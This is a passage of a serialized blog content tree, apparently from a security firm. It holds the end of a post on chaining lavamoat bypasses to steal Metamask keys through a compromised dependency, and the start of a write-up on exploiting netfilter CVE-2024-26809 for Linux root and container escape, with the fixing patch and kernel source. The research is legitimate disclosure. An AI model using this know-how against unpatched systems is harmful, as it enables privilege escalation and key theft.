,[52185],{"type":29,"value":34511},{"type":24,"tag":90,"props":52187,"children":52188},{"style":114},[52189],{"type":29,"value":117},{"type":24,"tag":90,"props":52191,"children":52192},{"style":136},[52193],{"type":29,"value":34521},{"type":24,"tag":90,"props":52195,"children":52196},{"style":114},[52197],{"type":29,"value":226},{"type":24,"tag":90,"props":52199,"children":52200},{"style":136},[52201],{"type":29,"value":34531},{"type":24,"tag":90,"props":52203,"children":52204},{"style":114},[52205],{"type":29,"value":571},{"type":24,"tag":1019,"props":52207,"children":52209},{"id":52208},"snowjs-patch",[52210],{"type":29,"value":52211},"SnowJS Patch",{"type":24,"tag":25,"props":52213,"children":52214},{},[52215,52217,52224,52226,52233],{"type":29,"value":52216},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":69,"props":52218,"children":52221},{"href":52219,"rel":52220},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[73],[52222],{"type":29,"value":52223},"browser feature within W3C standards",{"type":29,"value":52225},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":69,"props":52227,"children":52230},{"href":52228,"rel":52229},"https://github.com/weizman/Realms-Initialization-Control",[73],[52231],{"type":29,"value":52232},"Here",{"type":29,"value":52234}," is their new proposal.",{"type":24,"tag":850,"props":52236,"children":52238},{"id":52237},"chaining-the-impacts",[52239],{"type":29,"value":52240},"Chaining The Impacts",{"type":24,"tag":25,"props":52242,"children":52243},{},[52244],{"type":29,"value":52245},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":3100,"props":52247,"children":52248},{},[52249,52254],{"type":24,"tag":3104,"props":52250,"children":52251},{},[52252],{"type":29,"value":52253},"Policy File Bypass",{"type":24,"tag":3104,"props":52255,"children":52256},{},[52257],{"type":29,"value":52258},"Scuttling Bypass",{"type":24,"tag":25,"props":52260,"children":52261},{},[52262],{"type":29,"value":52263},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":52265,"children":52266},{},[52267],{"type":29,"value":52268},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":850,"props":52270,"children":52271},{"id":30743},[52272],{"type":29,"value":20741},{"type":24,"tag":25,"props":52274,"children":52275},{},[52276],{"type":29,"value":52277},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":33159,"props":52279,"children":52280},{"style":33161},[52281],{"type":24,"tag":6301,"props":52282,"children":52285},{"src":52283,"alt":52284,"style":33167},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":4947,"props":52287,"children":52289},{"className":52288,"dataFootnotes":7},[4950],[52290,52295],{"type":24,"tag":850,"props":52291,"children":52293},{"className":52292,"id":1985},[4955],[52294],{"type":29,"value":4958},{"type":24,"tag":3100,"props":52296,"children":52297},{},[52298],{"type":24,"tag":3104,"props":52299,"children":52300},{"id":32178},[52301,52303,52310,52311],{"type":29,"value":52302},"Excluding SES, which was covered ",{"type":24,"tag":69,"props":52304,"children":52307},{"href":52305,"rel":52306},"https://osec.io/blog/2023-11-01-metamask-snaps",[73],[52308],{"type":29,"value":52309},"in our last article",{"type":29,"value":2877},{"type":24,"tag":69,"props":52312,"children":52314},{"href":32206,"ariaLabel":5061,"className":52313,"dataFootnoteBackref":7},[5063],[52315],{"type":29,"value":5066},{"type":24,"tag":5249,"props":52317,"children":52318},{},[52319],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":52321},[52322,52326,52332,52338,52339,52340],{"id":20750,"depth":200,"text":20753,"children":52323},[52324,52325],{"id":30826,"depth":239,"text":30829},{"id":48943,"depth":239,"text":48946},{"id":49699,"depth":200,"text":49702,"children":52327},[52328,52329,52330,52331],{"id":49950,"depth":239,"text":49953},{"id":50425,"depth":239,"text":50428},{"id":51082,"depth":239,"text":51085},{"id":51205,"depth":239,"text":51208},{"id":51323,"depth":200,"text":51326,"children":52333},[52334,52335,52336,52337],{"id":51451,"depth":239,"text":51454},{"id":51813,"depth":239,"text":51816},{"id":51973,"depth":239,"text":51976},{"id":52208,"depth":239,"text":52211},{"id":52237,"depth":200,"text":52240},{"id":30743,"depth":200,"text":20741},{"id":1985,"depth":200,"text":4958},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":52345,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52346,"description":52347,"author":52348,"image":52349,"date":52351,"isFeatured":16,"tags":52352,"onBlogPage":16,"body":52355,"_type":5270,"_id":62736,"_source":5272,"_file":62737,"_stem":62738,"_extension":5275},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":52350,"height":11640,"width":8110},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[52353,52354],"kernal","linux",{"type":21,"children":52356,"toc":62704},[52357,52370,52384,52389,52395,52405,52410,52416,52421,52439,52453,52462,52495,52500,52506,52525,52558,52564,52577,52787,52854,53418,53437,53662,53721,53727,53747,53787,53975,53980,54131,54187,54192,54706,54725,54994,55020,55529,55596,55602,55638,55643,55909,55942,55954,55981,55993,55998,56004,56025,56031,56052,56075,56907,56913,56953,57493,57504,57538,57605,57659,57891,57897,57941,58405,58411,58422,58452,58535,58540,58545,58581,58633,58664,59219,59225,59242,59248,59253,59259,59287,59480,59500,59516,60111,60117,60152,60175,60187,60193,60221,60818,60843,61812,61823,61836,61849,62615,62629,62635,62647,62653,62681,62686,62690,62695,62700],{"type":24,"tag":25,"props":52358,"children":52359},{},[52360,52362,52369],{"type":29,"value":52361},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":69,"props":52363,"children":52366},{"href":52364,"rel":52365},"https://google.github.io/security-research/kernelctf/rules.html",[73],[52367],{"type":29,"value":52368},"KernelCTF VRP",{"type":29,"value":226},{"type":24,"tag":25,"props":52371,"children":52372},{},[52373,52375,52382],{"type":29,"value":52374},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":69,"props":52376,"children":52379},{"href":52377,"rel":52378},"https://github.com/conlonialC",[73],[52380],{"type":29,"value":52381},"lonial con",{"type":29,"value":52383},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":52385,"children":52386},{},[52387],{"type":29,"value":52388},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":850,"props":52390,"children":52392},{"id":52391},"the-kernel",[52393],{"type":29,"value":52394},"The kernel",{"type":24,"tag":25,"props":52396,"children":52397},{},[52398,52400],{"type":29,"value":52399},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":6301,"props":52401,"children":52404},{"alt":52402,"src":52403},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":52406,"children":52407},{},[52408],{"type":29,"value":52409},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":1019,"props":52411,"children":52413},{"id":52412},"kernel-exploitation",[52414],{"type":29,"value":52415},"Kernel exploitation",{"type":24,"tag":25,"props":52417,"children":52418},{},[52419],{"type":29,"value":52420},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":3207,"props":52422,"children":52423},{},[52424,52429,52434],{"type":24,"tag":3104,"props":52425,"children":52426},{},[52427],{"type":29,"value":52428},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":3104,"props":52430,"children":52431},{},[52432],{"type":29,"value":52433},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":3104,"props":52435,"children":52436},{},[52437],{"type":29,"value":52438},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":52440,"children":52441},{},[52442,52444,52451],{"type":29,"value":52443},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":69,"props":52445,"children":52448},{"href":52446,"rel":52447},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[73],[52449],{"type":29,"value":52450},"blog post",{"type":29,"value":52452}," to become more familiar with the topic.",{"type":24,"tag":850,"props":52454,"children":52456},{"id":52455},"nf_tables",[52457],{"type":24,"tag":32,"props":52458,"children":52460},{"className":52459},[],[52461],{"type":29,"value":52455},{"type":24,"tag":25,"props":52463,"children":52464},{},[52465,52470,52472,52478,52479,52485,52487,52493],{"type":24,"tag":32,"props":52466,"children":52468},{"className":52467},[],[52469],{"type":29,"value":52455},{"type":29,"value":52471}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":69,"props":52473,"children":52476},{"href":52474,"rel":52475},"https://pwning.tech/nftables",[73],[52477],{"type":29,"value":534},{"type":29,"value":133},{"type":24,"tag":69,"props":52480,"children":52483},{"href":52481,"rel":52482},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[73],[52484],{"type":29,"value":3191},{"type":29,"value":52486},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":32,"props":52488,"children":52490},{"className":52489},[],[52491],{"type":29,"value":52492},"nf_table",{"type":29,"value":52494}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":52496,"children":52497},{},[52498],{"type":29,"value":52499},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":1019,"props":52501,"children":52503},{"id":52502},"transactions",[52504],{"type":29,"value":52505},"Transactions",{"type":24,"tag":25,"props":52507,"children":52508},{},[52509,52511,52516,52518,52523],{"type":29,"value":52510},"A transaction is an interaction that updates ",{"type":24,"tag":32,"props":52512,"children":52514},{"className":52513},[],[52515],{"type":29,"value":52455},{"type":29,"value":52517}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":32,"props":52519,"children":52521},{"className":52520},[],[52522],{"type":29,"value":52455},{"type":29,"value":52524}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":3207,"props":52526,"children":52527},{},[52528,52538,52548],{"type":24,"tag":3104,"props":52529,"children":52530},{},[52531,52536],{"type":24,"tag":7711,"props":52532,"children":52533},{},[52534],{"type":29,"value":52535},"Control plane",{"type":29,"value":52537},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":3104,"props":52539,"children":52540},{},[52541,52546],{"type":24,"tag":7711,"props":52542,"children":52543},{},[52544],{"type":29,"value":52545},"Commit path",{"type":29,"value":52547},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":3104,"props":52549,"children":52550},{},[52551,52556],{"type":24,"tag":7711,"props":52552,"children":52553},{},[52554],{"type":29,"value":52555},"Abort path",{"type":29,"value":52557},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":850,"props":52559,"children":52561},{"id":52560},"vulnerability-details",[52562],{"type":29,"value":52563},"Vulnerability details",{"type":24,"tag":25,"props":52565,"children":52566},{},[52567,52569,52575],{"type":29,"value":52568},"Moving on, let's check out the ",{"type":24,"tag":69,"props":52570,"children":52573},{"href":52571,"rel":52572},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[73],[52574],{"type":29,"value":6612},{"type":29,"value":52576}," that fixed the bug.",{"type":24,"tag":80,"props":52578,"children":52580},{"className":42177,"code":52579,"language":42179,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[52581],{"type":24,"tag":32,"props":52582,"children":52583},{"__ignoreMap":7},[52584,52592,52600,52608,52616,52624,52631,52639,52646,52654,52662,52670,52678,52686,52694,52702,52710,52718,52726,52734,52741,52749,52757,52765,52772,52779],{"type":24,"tag":90,"props":52585,"children":52586},{"class":92,"line":93},[52587],{"type":24,"tag":90,"props":52588,"children":52589},{"style":97},[52590],{"type":29,"value":52591},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":90,"props":52593,"children":52594},{"class":92,"line":200},[52595],{"type":24,"tag":90,"props":52596,"children":52597},{"style":114},[52598],{"type":29,"value":52599},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":90,"props":52601,"children":52602},{"class":92,"line":239},[52603],{"type":24,"tag":90,"props":52604,"children":52605},{"style":97},[52606],{"type":29,"value":52607},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":90,"props":52609,"children":52610},{"class":92,"line":248},[52611],{"type":24,"tag":90,"props":52612,"children":52613},{"style":97},[52614],{"type":29,"value":52615},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":90,"props":52617,"children":52618},{"class":92,"line":258},[52619],{"type":24,"tag":90,"props":52620,"children":52621},{"style":114},[52622],{"type":29,"value":52623},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":90,"props":52625,"children":52626},{"class":92,"line":272},[52627],{"type":24,"tag":90,"props":52628,"children":52629},{"emptyLinePlaceholder":16},[52630],{"type":29,"value":245},{"type":24,"tag":90,"props":52632,"children":52633},{"class":92,"line":281},[52634],{"type":24,"tag":90,"props":52635,"children":52636},{"style":114},[52637],{"type":29,"value":52638}," m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":90,"props":52640,"children":52641},{"class":92,"line":384},[52642],{"type":24,"tag":90,"props":52643,"children":52644},{"emptyLinePlaceholder":16},[52645],{"type":29,"value":245},{"type":24,"tag":90,"props":52647,"children":52648},{"class":92,"line":420},[52649],{"type":24,"tag":90,"props":52650,"children":52651},{"style":114},[52652],{"type":29,"value":52653}," if (m) {\n",{"type":24,"tag":90,"props":52655,"children":52656},{"class":92,"line":428},[52657],{"type":24,"tag":90,"props":52658,"children":52659},{"style":114},[52660],{"type":29,"value":52661}," rcu_barrier();\n",{"type":24,"tag":90,"props":52663,"children":52664},{"class":92,"line":437},[52665],{"type":24,"tag":90,"props":52666,"children":52667},{"style":114},[52668],{"type":29,"value":52669}," \n",{"type":24,"tag":90,"props":52671,"children":52672},{"class":92,"line":574},[52673],{"type":24,"tag":90,"props":52674,"children":52675},{"style":1085},[52676],{"type":29,"value":52677},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":90,"props":52679,"children":52680},{"class":92,"line":606},[52681],{"type":24,"tag":90,"props":52682,"children":52683},{"style":1085},[52684],{"type":29,"value":52685},"-\n",{"type":24,"tag":90,"props":52687,"children":52688},{"class":92,"line":615},[52689],{"type":24,"tag":90,"props":52690,"children":52691},{"style":114},[52692],{"type":29,"value":52693}," for_each_possible_cpu(cpu)\n",{"type":24,"tag":90,"props":52695,"children":52696},{"class":92,"line":623},[52697],{"type":24,"tag":90,"props":52698,"children":52699},{"style":114},[52700],{"type":29,"value":52701}," pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":90,"props":52703,"children":52704},{"class":92,"line":632},[52705],{"type":24,"tag":90,"props":52706,"children":52707},{"style":114},[52708],{"type":29,"value":52709}," free_percpu(m->scratch);\n",{"type":24,"tag":90,"props":52711,"children":52712},{"class":92,"line":669},[52713],{"type":24,"tag":90,"props":52714,"children":52715},{"style":114},[52716],{"type":29,"value":52717},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":90,"props":52719,"children":52720},{"class":92,"line":683},[52721],{"type":24,"tag":90,"props":52722,"children":52723},{"style":114},[52724],{"type":29,"value":52725}," if (priv->clone) {\n",{"type":24,"tag":90,"props":52727,"children":52728},{"class":92,"line":737},[52729],{"type":24,"tag":90,"props":52730,"children":52731},{"style":114},[52732],{"type":29,"value":52733}," m = priv->clone;\n",{"type":24,"tag":90,"props":52735,"children":52736},{"class":92,"line":751},[52737],{"type":24,"tag":90,"props":52738,"children":52739},{"style":114},[52740],{"type":29,"value":52669},{"type":24,"tag":90,"props":52742,"children":52743},{"class":92,"line":782},[52744],{"type":24,"tag":90,"props":52745,"children":52746},{"style":1085},[52747],{"type":29,"value":52748},"- if (priv->dirty)\n",{"type":24,"tag":90,"props":52750,"children":52751},{"class":92,"line":791},[52752],{"type":24,"tag":90,"props":52753,"children":52754},{"style":1085},[52755],{"type":29,"value":52756},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":90,"props":52758,"children":52759},{"class":92,"line":799},[52760],{"type":24,"tag":90,"props":52761,"children":52762},{"style":349},[52763],{"type":29,"value":52764},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":90,"props":52766,"children":52767},{"class":92,"line":807},[52768],{"type":24,"tag":90,"props":52769,"children":52770},{"style":114},[52771],{"type":29,"value":52669},{"type":24,"tag":90,"props":52773,"children":52774},{"class":92,"line":821},[52775],{"type":24,"tag":90,"props":52776,"children":52777},{"style":114},[52778],{"type":29,"value":52693},{"type":24,"tag":90,"props":52780,"children":52781},{"class":92,"line":6278},[52782],{"type":24,"tag":90,"props":52783,"children":52784},{"style":114},[52785],{"type":29,"value":52786}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":52788,"children":52789},{},[52790,52792,52798,52799,52805,52807,52813,52815,52821,52823,52828,52830,52836,52838,52844,52846,52852],{"type":29,"value":52791},"If the ",{"type":24,"tag":32,"props":52793,"children":52795},{"className":52794},[],[52796],{"type":29,"value":52797},"priv->dirty",{"type":29,"value":13360},{"type":24,"tag":32,"props":52800,"children":52802},{"className":52801},[],[52803],{"type":29,"value":52804},"priv->clone",{"type":29,"value":52806}," variables are set, ",{"type":24,"tag":32,"props":52808,"children":52810},{"className":52809},[],[52811],{"type":29,"value":52812},"nft_set_pipapo_match_destroy()",{"type":29,"value":52814}," is called twice, once with ",{"type":24,"tag":32,"props":52816,"children":52818},{"className":52817},[],[52819],{"type":29,"value":52820},"priv->match",{"type":29,"value":52822}," as an argument, and then again with ",{"type":24,"tag":32,"props":52824,"children":52826},{"className":52825},[],[52827],{"type":29,"value":52804},{"type":29,"value":52829},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":32,"props":52831,"children":52833},{"className":52832},[],[52834],{"type":29,"value":52835},"setelem",{"type":29,"value":52837},"s of the ",{"type":24,"tag":32,"props":52839,"children":52841},{"className":52840},[],[52842],{"type":29,"value":52843},"set",{"type":29,"value":52845}," and calling ",{"type":24,"tag":32,"props":52847,"children":52849},{"className":52848},[],[52850],{"type":29,"value":52851},"nf_tables_set_elem_destroy()",{"type":29,"value":52853}," for each of them.",{"type":24,"tag":80,"props":52855,"children":52857},{"className":3028,"code":52856,"language":3030,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52858],{"type":24,"tag":32,"props":52859,"children":52860},{"__ignoreMap":7},[52861,52908,52936,52962,52969,52990,53003,53010,53107,53115,53122,53177,53198,53205,53308,53320,53327,53363,53370,53404,53411],{"type":24,"tag":90,"props":52862,"children":52863},{"class":92,"line":93},[52864,52869,52874,52879,52883,52887,52891,52896,52900,52904],{"type":24,"tag":90,"props":52865,"children":52866},{"style":97},[52867],{"type":29,"value":52868},"static",{"type":24,"tag":90,"props":52870,"children":52871},{"style":97},[52872],{"type":29,"value":52873}," void",{"type":24,"tag":90,"props":52875,"children":52876},{"style":108},[52877],{"type":29,"value":52878}," nft_set_pipapo_match_destroy",{"type":24,"tag":90,"props":52880,"children":52881},{"style":114},[52882],{"type":29,"value":117},{"type":24,"tag":90,"props":52884,"children":52885},{"style":97},[52886],{"type":29,"value":508},{"type":24,"tag":90,"props":52888,"children":52889},{"style":97},[52890],{"type":29,"value":22947},{"type":24,"tag":90,"props":52892,"children":52893},{"style":114},[52894],{"type":29,"value":52895}," nft_ctx ",{"type":24,"tag":90,"props":52897,"children":52898},{"style":120},[52899],{"type":29,"value":983},{"type":24,"tag":90,"props":52901,"children":52902},{"style":136},[52903],{"type":29,"value":22076},{"type":24,"tag":90,"props":52905,"children":52906},{"style":114},[52907],{"type":29,"value":748},{"type":24,"tag":90,"props":52909,"children":52910},{"class":92,"line":200},[52911,52915,52919,52924,52928,52932],{"type":24,"tag":90,"props":52912,"children":52913},{"style":97},[52914],{"type":29,"value":33360},{"type":24,"tag":90,"props":52916,"children":52917},{"style":97},[52918],{"type":29,"value":22947},{"type":24,"tag":90,"props":52920,"children":52921},{"style":114},[52922],{"type":29,"value":52923}," nft_set ",{"type":24,"tag":90,"props":52925,"children":52926},{"style":120},[52927],{"type":29,"value":983},{"type":24,"tag":90,"props":52929,"children":52930},{"style":136},[52931],{"type":29,"value":52843},{"type":24,"tag":90,"props":52933,"children":52934},{"style":114},[52935],{"type":29,"value":748},{"type":24,"tag":90,"props":52937,"children":52938},{"class":92,"line":239},[52939,52944,52949,52953,52958],{"type":24,"tag":90,"props":52940,"children":52941},{"style":97},[52942],{"type":29,"value":52943}," struct",{"type":24,"tag":90,"props":52945,"children":52946},{"style":114},[52947],{"type":29,"value":52948}," nft_pipapo_match ",{"type":24,"tag":90,"props":52950,"children":52951},{"style":120},[52952],{"type":29,"value":983},{"type":24,"tag":90,"props":52954,"children":52955},{"style":136},[52956],{"type":29,"value":52957},"m",{"type":24,"tag":90,"props":52959,"children":52960},{"style":114},[52961],{"type":29,"value":1686},{"type":24,"tag":90,"props":52963,"children":52964},{"class":92,"line":248},[52965],{"type":24,"tag":90,"props":52966,"children":52967},{"style":114},[52968],{"type":29,"value":2221},{"type":24,"tag":90,"props":52970,"children":52971},{"class":92,"line":258},[52972,52976,52981,52985],{"type":24,"tag":90,"props":52973,"children":52974},{"style":97},[52975],{"type":29,"value":22947},{"type":24,"tag":90,"props":52977,"children":52978},{"style":114},[52979],{"type":29,"value":52980}," nft_pipapo_field ",{"type":24,"tag":90,"props":52982,"children":52983},{"style":120},[52984],{"type":29,"value":983},{"type":24,"tag":90,"props":52986,"children":52987},{"style":114},[52988],{"type":29,"value":52989},"f;\n",{"type":24,"tag":90,"props":52991,"children":52992},{"class":92,"line":272},[52993,52998],{"type":24,"tag":90,"props":52994,"children":52995},{"style":97},[52996],{"type":29,"value":52997}," int",{"type":24,"tag":90,"props":52999,"children":53000},{"style":114},[53001],{"type":29,"value":53002}," i, r;\n",{"type":24,"tag":90,"props":53004,"children":53005},{"class":92,"line":281},[53006],{"type":24,"tag":90,"props":53007,"children":53008},{"emptyLinePlaceholder":16},[53009],{"type":29,"value":245},{"type":24,"tag":90,"props":53011,"children":53012},{"class":92,"line":384},[53013,53018,53023,53027,53031,53036,53040,53045,53049,53053,53058,53062,53066,53070,53075,53080,53084,53089,53094,53099,53103],{"type":24,"tag":90,"props":53014,"children":53015},{"style":636},[53016],{"type":29,"value":53017}," for",{"type":24,"tag":90,"props":53019,"children":53020},{"style":114},[53021],{"type":29,"value":53022}," (i ",{"type":24,"tag":90,"props":53024,"children":53025},{"style":120},[53026],{"type":29,"value":5491},{"type":24,"tag":90,"props":53028,"children":53029},{"style":349},[53030],{"type":29,"value":5448},{"type":24,"tag":90,"props":53032,"children":53033},{"style":114},[53034],{"type":29,"value":53035},", f ",{"type":24,"tag":90,"props":53037,"children":53038},{"style":120},[53039],{"type":29,"value":5491},{"type":24,"tag":90,"props":53041,"children":53042},{"style":136},[53043],{"type":29,"value":53044}," m",{"type":24,"tag":90,"props":53046,"children":53047},{"style":114},[53048],{"type":29,"value":177},{"type":24,"tag":90,"props":53050,"children":53051},{"style":136},[53052],{"type":29,"value":34899},{"type":24,"tag":90,"props":53054,"children":53055},{"style":114},[53056],{"type":29,"value":53057},"; i ",{"type":24,"tag":90,"props":53059,"children":53060},{"style":120},[53061],{"type":29,"value":1575},{"type":24,"tag":90,"props":53063,"children":53064},{"style":136},[53065],{"type":29,"value":53044},{"type":24,"tag":90,"props":53067,"children":53068},{"style":114},[53069],{"type":29,"value":177},{"type":24,"tag":90,"props":53071,"children":53072},{"style":136},[53073],{"type":29,"value":53074},"field_count",{"type":24,"tag":90,"props":53076,"children":53077},{"style":120},[53078],{"type":29,"value":53079}," -",{"type":24,"tag":90,"props":53081,"children":53082},{"style":349},[53083],{"type":29,"value":6909},{"type":24,"tag":90,"props":53085,"children":53086},{"style":114},[53087],{"type":29,"value":53088},"; i",{"type":24,"tag":90,"props":53090,"children":53091},{"style":120},[53092],{"type":29,"value":53093},"++",{"type":24,"tag":90,"props":53095,"children":53096},{"style":114},[53097],{"type":29,"value":53098},", f",{"type":24,"tag":90,"props":53100,"children":53101},{"style":120},[53102],{"type":29,"value":53093},{"type":24,"tag":90,"props":53104,"children":53105},{"style":114},[53106],{"type":29,"value":1686},{"type":24,"tag":90,"props":53108,"children":53109},{"class":92,"line":420},[53110],{"type":24,"tag":90,"props":53111,"children":53112},{"style":114},[53113],{"type":29,"value":53114}," ;\n",{"type":24,"tag":90,"props":53116,"children":53117},{"class":92,"line":428},[53118],{"type":24,"tag":90,"props":53119,"children":53120},{"emptyLinePlaceholder":16},[53121],{"type":29,"value":245},{"type":24,"tag":90,"props":53123,"children":53124},{"class":92,"line":437},[53125,53129,53134,53138,53142,53147,53151,53155,53159,53164,53169,53173],{"type":24,"tag":90,"props":53126,"children":53127},{"style":636},[53128],{"type":29,"value":53017},{"type":24,"tag":90,"props":53130,"children":53131},{"style":114},[53132],{"type":29,"value":53133}," (r ",{"type":24,"tag":90,"props":53135,"children":53136},{"style":120},[53137],{"type":29,"value":5491},{"type":24,"tag":90,"props":53139,"children":53140},{"style":349},[53141],{"type":29,"value":5448},{"type":24,"tag":90,"props":53143,"children":53144},{"style":114},[53145],{"type":29,"value":53146},"; r ",{"type":24,"tag":90,"props":53148,"children":53149},{"style":120},[53150],{"type":29,"value":1575},{"type":24,"tag":90,"props":53152,"children":53153},{"style":136},[53154],{"type":29,"value":34785},{"type":24,"tag":90,"props":53156,"children":53157},{"style":114},[53158],{"type":29,"value":177},{"type":24,"tag":90,"props":53160,"children":53161},{"style":136},[53162],{"type":29,"value":53163},"rules",{"type":24,"tag":90,"props":53165,"children":53166},{"style":114},[53167],{"type":29,"value":53168},"; r",{"type":24,"tag":90,"props":53170,"children":53171},{"style":120},[53172],{"type":29,"value":53093},{"type":24,"tag":90,"props":53174,"children":53175},{"style":114},[53176],{"type":29,"value":1297},{"type":24,"tag":90,"props":53178,"children":53179},{"class":92,"line":574},[53180,53184,53189,53193],{"type":24,"tag":90,"props":53181,"children":53182},{"style":97},[53183],{"type":29,"value":8183},{"type":24,"tag":90,"props":53185,"children":53186},{"style":114},[53187],{"type":29,"value":53188}," nft_pipapo_elem 